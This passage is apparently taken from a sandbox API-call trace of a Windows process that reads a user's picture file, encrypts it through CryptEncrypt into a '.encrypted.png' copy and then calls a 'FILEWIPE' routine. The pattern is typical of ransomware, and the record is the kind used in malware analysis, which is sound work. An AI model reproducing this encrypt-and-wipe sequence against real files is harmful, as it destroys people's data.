wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0028.853] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\XUN2brrF9I3oYGd0.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\xun2brrf9i3oygd0.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.853] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.853] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.853] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.853] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.854] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.854] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x156a, lpOverlapped=0x0) returned 1 [0028.855] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.857] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.857] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.857] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.857] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.857] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.857] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.858] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.858] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.859] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417af20, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0028.859] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0028.859] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ae0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ae0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.860] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.860] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.861] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.861] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.861] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.861] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x156a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1570) returned 1 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] CharLowerBuffW (in: lpsz="byte[5489]", cchLength=0xa | out: lpsz="byte[5489]") returned 0xa [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.862] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.862] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f406c2d0*, pdwDataLen=0xe8f3dfdf68*=0x156a, dwBufLen=0x1570 | out: pbData=0xe8f406c2d0*, pdwDataLen=0xe8f3dfdf68*=0x1570) returned 1 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.862] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.862] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.863] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.863] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.863] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.863] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.863] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.863] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.864] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.864] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.864] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.867] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] CharLowerBuffW (in: lpsz="byte[5482]", cchLength=0xa | out: lpsz="byte[5482]") returned 0xa [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.867] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 